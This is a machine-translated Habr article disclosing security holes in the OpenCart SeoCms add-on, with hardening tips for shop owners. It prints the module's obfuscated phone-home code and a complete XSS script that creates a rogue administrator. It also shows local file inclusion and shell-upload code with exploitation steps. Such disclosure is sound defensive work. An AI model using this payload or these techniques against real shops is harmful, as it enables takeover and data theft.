Opencartforum e amigos

imagem

Todos os cães vão para o céu e todos os proprietários de lojas on-line no Opencart, mais cedo ou mais tarde no Opencartforum. Quando a euforia da primeira instalação do mecanismo na hospedagem passa e a dura realidade começa, o proprietário típico da loja sempre começa a sentir falta de algo e ele começa o caminho difícil de encontrar fornecedores qualificados e complementos de qualidade para sua loja.

O maior recurso do Runet, no qual você pode encontrar os dois, é o opencartforum.com, que hoje possui mais de 140 mil usuários registrados. Desses 140 mil registros, metade deles vive com lojas ao vivo que usam modelos ou módulos que podem ser adquiridos imediatamente no site. E todas essas pessoas nem percebem que, junto com os complementos, adquirem maravilhosas backdoors e vulnerabilidades, com as quais os hackers de qualquer mãe podem apenas sonhar.

Embora de forma declarativa nas regras para postagem de complementos na loja do fórum, ele é escrito em preto e branco. Temos um departamento especializado, pessoas especialmente treinadas verificam os complementos quanto a vulnerabilidades.

E nem o fórum, como a plataforma que medeia entre o autor e o usuário final do complemento, nem os autores dos complementos, como se viu, assumem qualquer responsabilidade.
Como assim? E assim! Aparentemente historicamente.

Modelando para mim as conseqüências hipotéticas dos incidentes, que serão discutidas mais adiante, meu cabelo na cabeça fica arrepiado.

Imaginem. Você é dono de uma loja de sucesso, não dorme à noite há alguns anos, escreveu textos, mordiscou preto, branco, cinza seo, lutou com pandas, minusinsk, não terminou sua bebida, atraiu 100.000 clientes, investiu em posições. Seus filhos frequentam um bom jardim de infância e, de repente, suas vendas caíram pela metade, simplesmente porque sua base de clientes com todos os contatos foi para os concorrentes. Ou, de repente, você o perdeu completamente, porque há um mês sua loja trabalha no servidor mysql de outra pessoa e você nem percebeu a mudança do kofig, e todos os backups da hospedagem ficaram ruins.

Eles apresentaram seus sentimentos em uma situação semelhante, trabalharam, trabalharam por vários anos e, em um dia, está tudo no ralo. Você diz que isso não pode ser assim.

Mas pode ser muito fácil. Basta comprar um complemento com "proteção" não declarada de proteção contra uso não autorizado e seus dados podem se tornar rapidamente estranhos!

Primeiro incidente


Seis meses atrás, uma manutenção preventiva superficial de uma loja foi realizada quando o relatório do scanner Ai-Bol mostrou um aviso estranho sobre um código estranho no módulo SeoCms (mais de 10.000 instalações ativas).

Começamos a olhar mais de perto e verificou-se que este abracadabra simplesmente exibe a versão do complemento:

$text_redaeh_stpo = $text_redaeh_stpo_1.$value_tnega.$text_redaeh_stpo_2.$text_redaeh_stpo_3.$text_reda eh_stpo_4.$text_redaeh_stpo_5.$text_redaeh_stpo_6.$text_redaeh_stpo_7.$text_redaeh _stpo_8.$text_redaeh_stpo_9.$value_revres.$text_redaeh_stpo_10; if ($date_diff > 7) { $ver_content = false; $opts = array( $text_ptth => array($text_dohtem =>$text_tsop, $redaeh =>$text_redaeh_stpo, $tnetnoc => $yreuq_dliub_ptth(array($text_rdda =>$value_rdda, $text_liame => $this->data['liame'], $text_rev=>$this->data['blog_version'] )))); $context = $etaerc_txetnoc_maerts($opts); $exceptionizer = new PHP_Exceptionizer(E_ALL); try { $ver_content = $stnetnoc_teg_elif($rev_knil, FALSE , $context); } catch (E_WARNING $e) { //echo "Warning or better raised: " . $e->getMessage(); } $this->model_setting_setting->editSetting('blog_ver', Array('blog_version_date' => $date_current, 'blog_version_content' => $ver_content )); } if ($this->data['blog_version']!=$ver_content) { $this->data['text_new_version'] = $this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>". $this->language->get('text_new_version_end'); } else { $this->data['text_new_version'] = ''; } 

Está tudo bem, exceto que:

 $this->language->get('text_new_version').$ver_content. " <span style='color: #000; font-weight: normal;'>(".$date_ver_update.")</span>" 

ele não é filtrado de forma alguma e, por acidente, um script como o abaixo aparece em vez da versão do cliente, obtendo acesso de administrador a qualquer loja em que o módulo está instalado é uma questão de tempo e técnica.

 <script> // shell sample // seocms the best architectural mistake forever // i got all your 10 000 shops // i install 10 000 backdors function​ getUrlVars​()​ {​ v​ar​vars=​​[​],​hash,​​hashes=​​n​ull;​ i​f​​(w​indow​.l​ocation.​h​ref​.i​ndexOf(​"​?"​)​​&& window​.​location.​h​ref.​​indexOf​("​&")​)​​{ hashes =​ window​.​location.​h​ref.​​slice​(w​indow​.l​ocation​.h​ref​.i​ndexOf​(​"?"​)​​+ 1)​.​split(​​"&"​); }​​​else​i​f​​(w​indow​.l​ocation.​h​ref​.​indexOf(​​"?"​))​​{ hashes =​ window​.​location.​h​ref.​​slice​(w​indow​.​location​.h​ref​.i​ndexOf​(​"?"​)​​+​​1​); }​ i​f​ ​(h​ashes!​=​n​ull)​ ​{​ f​or​​(v​ar​i​=​​0;​​i​<​hashes​.​length​;​i​++)​{​ hash=​​hashes[​​i]​.s​plit​(​"=")​; vars[​h​ash​[0​]​]​​=​hash​[​1]​; }​ }​ r​eturn​vars;​ } var​ url_vars =​ ​ getUrlVars​(); var​ token =​ ​ url_vars.​ ​token​; var​ host ​=​ window.​ ​location​.​origin;​ var​action=​​host+​​"​/admin/index.php?route=user/user/add&token="​+​ token;​ document.​ ​addEventListener​(​"DOMContentLoaded"​,​ ​function​(​event​)​ ​{ $​.p​ost(​​action,​​{​​username​:​​"Hack123"​,​user_group_id​:​​"1"​, firstname​:​"​Lol",​​lastname​:​"​Haha"​,​ email​:​​"Hack123@Hack123.com"​, password:​​"​1234",​​ confirm​:​​"1234"​,​ status​:​​"1"​​}​​); }); </script> 

Detalhes da situação são descritos aqui . Aviso de administração aqui .

Provavelmente pela quinta vez, tendo modelado esse processo de forma muito clara para a administração do fórum, foi possível transmitir a criticidade da situação.

E a administração, por sua vez, notificou oficialmente os usuários da presença dessa vulnerabilidade, e parece que até fez um boletim informativo para os clientes. Mas isso não é exato.

Vamos deixar nos bastidores as ameaças e evasões do autor do complemento e voltar mais dois meses ...

Segundo incidente


Outra loja vem para inspeção, na qual existem frisos selvagens de 3 a 4 segundos em cada página. Começamos a dissecar e ver na pasta um cache de 20k + arquivos com a extensão .php. Arquivos de cache com a extensão php Karl, não é por acaso!

Examinamos a estrutura de dados desses arquivos e, novamente, partes do nosso belo módulo SEOCMS.

E um ótimo método:

 protected function ajax_file() { $ajax_file_cached = false; $ajax_file = DIR_CACHE.base64_decode($this->db->escape($this->request->get["ajax_file"])); if (!file_exists($ajax_file)) { $ajax_file_cached = true; } else { } return $ajax_file_cached; } 

Este é um exemplo de vulnerabilidade clássica - Inclusão de arquivo local.

Basta codificar em base64 ../....../config.php e hello - require ($ ajax_file); E por favor: aqui você tem as senhas do banco de dados, e aqui está o log de erros do sistema, e se o / etc / pwd é muito necessário, embora isso tenha sido irrelevante, bem, e se?

E quantos hosters e servidores com configurações padrão brilham no mundo do phpmyadmin? Metade? Mais?

Começamos a procurar mais e o que encontramos? Código de download de avatar maravilhoso:

 if (!$json) { if (is_uploaded_file($this->request->files['file']['tmp_name']) && file_exists($this->request->files['file']['tmp_name'])) { $file = basename($filename) . '.' . md5(substr(sha1(uniqid(mt_rand(), true)), 0, 10)); $file_original = basename($filename); // Hide the uploaded file name so people can not link to it directly. //$json['file'] = $this->encryption->encrypt($file); // To remove highload from the file system, when large number of buyers $avatar_dir = 'data/avatars/'.(ceil ($this->data['customer_id'] / 300)) * 300; move_uploaded_file($this->request->files['file']['tmp_name'], DIR_IMAGE . $file); $new_filename = $avatar_dir.'/'.$this->data['customer_id']."_".utf8_strtolower($file_original); if (isset($this->data['thislist']['avatar_width']) && $this->data['thislist']['avatar_width']!='') { $width = $this->data['thislist']['avatar_width']; } else { if (isset($this->data['generallist']['avatar_width']) && $this->data['generallist']['avatar_width']!='') { $width = $this->data['generallist']['avatar_width']; } else { $width = '100'; } } if (isset($this->data['thislist']['avatar_height']) && $this->data['thislist']['avatar_height']!='') { $height = $this->data['thislist']['avatar_height']; } else { if (isset($this->data['generallist']['avatar_height']) && $this->data['generallist']['avatar_height']!='') { $height = $this->data['generallist']['avatar_height']; } else { $height = '100'; } } $this->load->model('tool/image'); $json['file'] = $avatar_thumb = $this->model_tool_image->resizeavatar($file, $new_filename , $width, $height, true, false); if (trim($avatar_thumb)=='') { $json['error'] = $this->language->get('error_upload'); } if ($file!='' && file_exists(DIR_IMAGE . $file)) { unlink (DIR_IMAGE . $file); } } } 

O que cai perfeitamente em erro ao tentar redimensionar (e mostra o caminho completo para o arquivo baixado), após carregar algum tipo de shell.php.png, e também é perfeitamente executado pelo método anterior.

Vídeo de exploração de vulnerabilidade (com a saída de erro do sistema php ativada):


Vídeo de exploração de vulnerabilidade (com a saída de erro do sistema php desativada):


A análise do código foi realizada na versão do módulo 52 em abril de 2019.

Como o autor e a administração do fórum foram notificados nas mesmas datas, tempo suficiente para que eles tomem todas as ações possíveis para notificar os compradores sobre a eliminação de vulnerabilidades, nós, com a consciência limpa, podemos divulgar todos os detalhes.

E naquele momento, algo aconteceu. No servidor do desenvolvedor, havia seu próprio módulo. Mas a vulnerabilidade não funcionou. Ela estava coberta ... E isso é uma grande esquisitice. Muito grande !!!

E a segunda peculiaridade de toda essa história é que o fórum aberto na pessoa da administração e no departamento de controle de qualidade dos complementos não viu o primeiro ou o segundo incidente e, nos dois casos na primeira notificação, não encontrou nada crítico.

É claro que não há nada crítico quando suas configurações brilham no mundo. Não há nada crítico quando boa metade dos lojistas não sabe o que está acontecendo sob o seu capô. Afinal, uma vez, alguém colocou esse complemento e, sem enviar pelo correio, nem percebem que todo o negócio está sob ameaça direta.

E se houve uma reação distinta da administração no primeiro incidente, no segundo todos os posts com uma menção a ele são excluídos. E tudo isso é coberto por uma oferta do fórum , segundo a qual, sobre adições comerciais, os comentários podem ser deixados como sobre os mortos - bons ou nada.

O autor também afirma que os erros e os buracos foram corrigidos, o qadepartment perdeu o complemento para venda, mas não, os buracos não foram corrigidos ...

 protected function ajax_file() { if (!class_exists('PHP_Exceptionizer', false)) { if (function_exists('modification')) { require_once(modification(DIR_SYSTEM . 'library/exceptionizer.php')); } else { require_once(DIR_SYSTEM . 'library/exceptionizer.php'); } } $exceptionizer = new PHP_Exceptionizer(E_ALL); try { $ajax_file_cached = false; $filename = preg_replace('/[^a-zA-Z0-9\.\-\s+]/', '', html_entity_decode(base64_decode($this->db->escape($this->request->get['ajax_file'])), ENT_QUOTES, 'UTF-8')); $ajax_file = DIR_CACHE . $filename; if (!file_exists($ajax_file)) { $ajax_file_cached = true; } else { ob_start(); require($ajax_file); $ajax_html = ob_get_contents(); ob_end_clean(); header('Content-type: text/html; charset=utf-8'); echo $ajax_html; $this->deletecache('cache.ajax'); exit(); } return $ajax_file_cached; } catch (E_WARNING $e) { } } 

require () ainda está aqui. A entrada é ligeiramente filtrada. Mas o LFI potencial viveu e vive. Se um pouco mais, então sim, agora não podemos carregar nem executar o shell. Mas suponha que tentamos, fechamos, cimentamos a execução de qualquer script, exceto index.php, e até mesmo no nível de configuração do nginx, que de nenhuma maneira pode ser acessado. Mas em algum outro lugar, o hacker maligno teve a oportunidade de colocar um arquivo arbitrário na pasta de cache. O que vai acontecer? É isso mesmo - para executar código estranho, gerando um hash na solicitação get, leva dois minutos. Ou seja, no final das contas, é meio que fechado, mas é meio que não completamente.

Bem, as pequenas coisas: como essas relações maravilhosas brilharam nos arquivos de linguagem:

 if ((isset($_SERVER['HTTPS']) && (strtolower($_SERVER['HTTPS']) == 'on' || $_SERVER['HTTPS'] == '1')) || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && (strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && strtolower($_SERVER['HTTP_X_FORWARDED_SSL']) == 'on'))) { $_['value_revres'] = HTTPS_SERVER; $_['value_ctlg'] = HTTPS_CATALOG; } else { $_['value_revres'] = HTTP_SERVER; $_['value_ctlg'] = HTTP_CATALOG; } 

E eles brilham ... Você quer saber o caminho completo para a raiz do projeto. Apenas encontre a loja com a exibição de erro ativada e execute o link diretamente no arquivo de idioma.

Para estudar o que mais pode ser depois de atualizar o complemento em megabytes de linhas de código do autor - não há recursos nem desejo. Existem pessoas responsáveis ​​especialmente treinadas para isso.

E a cereja no bolo. Lembramos que temos um complemento comercial ... E em um complemento comercial, ocultamos o texto no recurso do autor:
www.google.com/search?q=%22Powered+by+SEO+CMS%22

Curiosamente, pelo menos um dos compradores complementares conhece um ovo de páscoa tão “maravilhoso”?

Hoje, o suplemento é vendido e vendido. As postagens com chamadas para prestar atenção à situação são simplesmente excluídas. Nenhum dos compradores recebeu notificações de aviso sobre o segundo incidente. Talvez 20 a 30% dos usuários de complementos tenham atualizado, mas 70% - mesmo se estivermos falando das estatísticas do autor oficial sobre o uso de complementos, são 7000 lojas (na verdade, mais - já que ninguém sabe ao certo quantas cópias foram instaladas por freelancers nas lojas de clientes) licença estendida) estão em uma enorme zona de risco.

Nas palavras do Barão Munchausen, quero dizer apenas uma coisa: Senhores atualizados!

Para clientes


O que fazer, aqueles que acabaram neste submarino afundando:

  • Não deixe lixo no ftp. Veja info.php, adminer.php e todo o outro lixo. Você deve ter apenas index.php e um ponto.
  • Altere regularmente senhas, todas as senhas (ftp, painel de administração, banco de dados). E certifique-se de não ter acidentalmente contas estranhas extras.
  • Desativar saída de erro. Sempre, se você não funcionar, desative a saída de erro no nível de configuração do intérprete e não nas configurações da loja.
  • Sim, eu sei que isso não é muito viável, mas você deve pelo menos manter-se atualizado com as atualizações do código do mecanismo relacionadas à segurança e, idealmente, atualizar regularmente o mecanismo para versões estáveis.
  • Examine regularmente os registros de visitas, pode haver muitas coisas interessantes. Rastrear anomalias.
  • Feche adicionalmente com uma senha ou restrição no administrador de IP da loja e várias seções vulneráveis, como phpmyadmin. Se este é um compartilhamento no qual o phpmyadmin é comum a todos, fuja dessa hospedagem!
  • Se você usar sxd e utilitários semelhantes, renomeie-os imediatamente para um conjunto de caracteres aleatórios.
  • Ao usar o nginx, vale a pena adicionar regras à configuração do host virtual que proíbem a execução de scripts php que não sejam index.php nas seções raiz e administrativa do site.
  • Não jogue lixo na sua conta. Se você tem uma loja, deixe-a ser uma loja. Não carregue em uma conta um monte de wp-blogs, balde de bugs e vários domínios de teste.
  • Nunca armazene backups de um site ou banco de dados na raiz do seu host virtual.
  • Observe a carga no servidor / hospedagem, tente manter o suprimento pelo menos x2 dos picos de carga e, se de repente a carga aumentar repentinamente sem motivo, tente descobrir o motivo. Melhor ultrapassar do que não ultrapassar!

Source: https://habr.com/ru/post/pt466283/


All Articles